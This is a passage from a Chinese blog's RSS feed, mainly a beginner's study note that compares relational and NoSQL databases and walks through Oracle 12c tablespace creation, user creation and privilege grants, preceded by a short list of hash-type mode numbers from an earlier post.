		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2811 = IPB2+, MyBB1.2+<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3711 = Mediawiki B type<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">3721 = WebEdition CMS<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">7600 = Redmine Project Management Web App<o:p></o:p></span> 
		</p>
		<p>
			<br />
		</p>
		<p>
			<br />
		</p>
	</div>
</div>]]></description>
	<pubDate>Wed, 18 Mar 2020 01:40:14 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=104</guid>

</item>
<item>
	<title>数据库基础之认识 sql 并学习数据库的基础操作</title>
	<link>https://www.zuoer.xin/?post=105</link>
	<description><![CDATA[<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	学习环境<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	目标数据库 <span lang="EN-US">Oracle 12c<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span class="4"><span style="font-size:14pt;">学习记录</span></span><span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	一、什么是关系型和非关系型数据库，两者都包含哪些种类的数据库<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1. </span>关系数据库：是建立在关系模型基础上的数据库，借助于集合代数等数学概念和方法来处理数据库中的数据。简单说来就是关系型数据库用了选择、投影、连接、并、交、差、除、增删查改等数学方法来实现对数据的存储和查询。可以用<span lang="EN-US">SQL</span>语句方便的在一个表及其多个表之间做非常复杂的数据查询。安全性高。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp;&nbsp; </span>关系数据库包含<span lang="EN-US">Oracle</span>、<span lang="EN-US">DB2</span>、<span lang="EN-US">PostgreSQL</span>、<span lang="EN-US">Microsoft SQL Server</span>、<span lang="EN-US">Microsoft Access</span>、<span lang="EN-US">MySQL</span>、浪潮<span lang="EN-US">K-DB </span>等<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2. </span>非关系型数据库：简称<span lang="EN-US">NOSQL</span>，是基于键值对的对应关系，并且不需要经过<span lang="EN-US">SQL</span>层的解析，所以性能非常高。但是不适合用在多表联合查询和一些较复杂的查询中。<span lang="EN-US">NoSQL</span>用于超大规模数据的存储。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; </span>非关系型数据库包含<span lang="EN-US">NoSql</span>、<span lang="EN-US">Cloudant</span>、<span lang="EN-US">MongoDB</span>、<span lang="EN-US">redis</span>、<span lang="EN-US">HBase<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span style="font-size:14pt;">两种数据库之间的区别：<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span style="font-size:14pt;">对于关系型数据库<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>关系型数据库的特性<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、关系型数据库，是指采用了关系模型来组织数据的数据库；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、关系型数据库的最大特点就是事务的一致性；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 3</span>、简单来说，关系模型指的就是二维表格模型，而一个关系型数据库就是由二维表及其之间的联系所组成的一个数据组织。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>关系型数据库的优点<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、容易理解：二维表结构是非常贴近逻辑世界一个概念，关系模型相对网状、层次等其他模型来说更容易理解；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、使用方便：通用的<span lang="EN-US">SQL</span>语言使得操作关系型数据库非常方便；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 3</span>、易于维护：丰富的完整性<span lang="EN-US">(</span>实体完整性、参照完整性和用户定义的完整性<span lang="EN-US">)</span>大大减低了数据冗余和数据不一致的概率；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 4</span>、支持<span lang="EN-US">SQL</span>，可用于复杂的查询。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>关系型数据库的缺点<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、为了维护一致性所付出的巨大代价就是其读写性能比较差；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、固定的表结构；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 3</span>、高并发读写需求；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 4</span>、海量数据的高效率读写；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">---------------------------------------------------------------------<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span style="font-size:14pt;">对于非关系型数据库<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>非关系型数据库的特性<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、使用键值对存储数据；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、分布式；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 3</span>、一般不支持<span lang="EN-US">ACID</span>特性；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 4</span>、非关系型数据库严格上不是一种数据库，应该是一种数据结构化存储方法的集合。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>非关系型数据库的优点<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、无需经过<span lang="EN-US">sql</span>层的解析，读写性能很高；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、基于键值对，数据没有耦合性，容易扩展；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 3</span>、存储数据的格式：<span lang="EN-US">nosql</span>的存储格式是<span lang="EN-US">key,value</span>形式、文档形式、图片形式等等，文档形式、图片形式等等，而关系型数据库则只支持基础类型。<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>非关系型数据库的缺点<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 1</span>、不提供<span lang="EN-US">sql</span>支持，学习和使用成本较高；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;&nbsp;&nbsp; 2</span>、无事务处理，附加功能<span lang="EN-US">bi</span>和报表等支持也不好；<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	二、学习数据库中的字段类型并创建库和用户表，需要包含所有字段类型<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US">1</span>、创建表空间：<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	格式：<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">create tablespace </span>表间名<span lang="EN-US"> datafile '</span>数据文件名<span lang="EN-US">' size </span>表空间大小<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	具有命令如下：<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">mkdir /data/oracle/<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">#</span>创建数据库物理文件位置 &nbsp;之前有<span lang="EN-US">/data </span>这个目录 不需要<span lang="EN-US">mkdir /data<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">mkdir /data/oracle/test &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;#</span>创建数据库物理文件位置<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">chown -R oracle:dba /data/oracle/ &nbsp;&nbsp;&nbsp;&nbsp;#</span>更改<span lang="EN-US">/data/oracle/ </span>目录所有者<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus "/as sysdba"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #</span>以<span lang="EN-US">sysdba</span>用户登录<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>注<span lang="EN-US">:<o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sys &nbsp;&nbsp;&nbsp; --</span>系统管理员，拥有最高权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">system --</span>本地管理员，次高权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">scott&nbsp; --</span>普通用户，密码默认为<span lang="EN-US">tiger,</span>默认未解锁<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sys &nbsp;&nbsp;&nbsp; --</span>系统管理员，拥有最高权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">system --</span>本地管理员，次高权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">scott&nbsp; --</span>普通用户，密码默认为<span lang="EN-US">tiger,</span>默认未解锁<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus / as sysdba; --</span>登陆<span lang="EN-US">sys</span>帐户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus sys as sysdba;&nbsp;&nbsp; -- </span>登陆<span lang="EN-US">sys</span>帐户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus scott/tiger;&nbsp;&nbsp;&nbsp;&nbsp; --</span>登陆普通用户<span lang="EN-US">scott<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus / as sysdba; --</span>登陆<span lang="EN-US">sys</span>帐户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus sys as sysdba;&nbsp;&nbsp; -- </span>登陆<span lang="EN-US">sys</span>帐户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">sqlplus scott/tiger;&nbsp;&nbsp;&nbsp;&nbsp; --</span>登陆普通用户<span lang="EN-US">scott<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">create tablespace zuoer datafile '/data/oracle/test/zuoer.dbf' SIZE 200M AUTOEXTEND ON EXTENT MANAGEMENT LOCAL SEGMENT SPACE MANAGEMENT AUTO;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b>注<span lang="EN-US">:<o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">AUTOEXTEND ON EXTENT</span>设置表空间自动扩展<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">MANAGEMENT LOCAL</span>本地管理表空间<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">SEGMENT SPACE MANAGEMENT AUTO </span>自动段空间管理<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US">2</span>、创建用户<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create user </span><span style="font-size:10pt;">用户名<span lang="EN-US"> identified by </span>密码<span lang="EN-US"> default tablespace </span>表空间表<span lang="EN-US">;<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">例如：<span lang="EN-US">create user u_zuoer identified by 123456 default tablespace zuoer;<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US">3</span>、授权给新用户<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span style="font-size:10pt;">注<span lang="EN-US">:<o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">1) </span><span style="font-size:10pt;">系统权限分类：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">DBA: </span><span style="font-size:10pt;">拥有全部特权，是系统最高权限，只有<span lang="EN-US">DBA</span>才可以创建数据库结构。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">RESOURCE:</span><span style="font-size:10pt;">拥有<span lang="EN-US">Resource</span>权限的用户只可以创建实体，不可以创建数据库结构。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">CONNECT:</span><span style="font-size:10pt;">拥有<span lang="EN-US">Connect</span>权限的用户只可以登录<span lang="EN-US">Oracle</span>，不可以创建实体，不可以创建数据库结构。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">对于普通用户：授予<span lang="EN-US">connect, resource</span>权限。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">对于<span lang="EN-US">DBA</span>管理用户：授予<span lang="EN-US">connect</span>，<span lang="EN-US">resource, dba</span>权限。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">2) </span><span style="font-size:10pt;">系统权限传递：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">增加<span lang="EN-US">WITH ADMIN OPTION</span>选项，则得到的权限可以传递。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant connect,resorce to u_zuoer with admin option;&nbsp; --</span><span style="font-size:10pt;">可以传递所获权限。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">3) </span><span style="font-size:10pt;">系统权限回收：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">系统权限只能由<span lang="EN-US">DBA</span>用户回收<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">命令：<span lang="EN-US">SQL&gt; Revoke connect,resource from u_zuoer;<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">4) </span><span style="font-size:10pt;">查看所用用户对表的权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">select * from user_sys_privs;--</span><span style="font-size:10pt;">查看当前用户所有权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">select * from user_tab_privs;--</span><span style="font-size:10pt;">查看所用用户对表的权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">select * from user_sys_privs;--</span><span style="font-size:10pt;">查看当前用户所有权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">select * from user_tab_privs;--</span><span style="font-size:10pt;">查看所用用户对表的权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
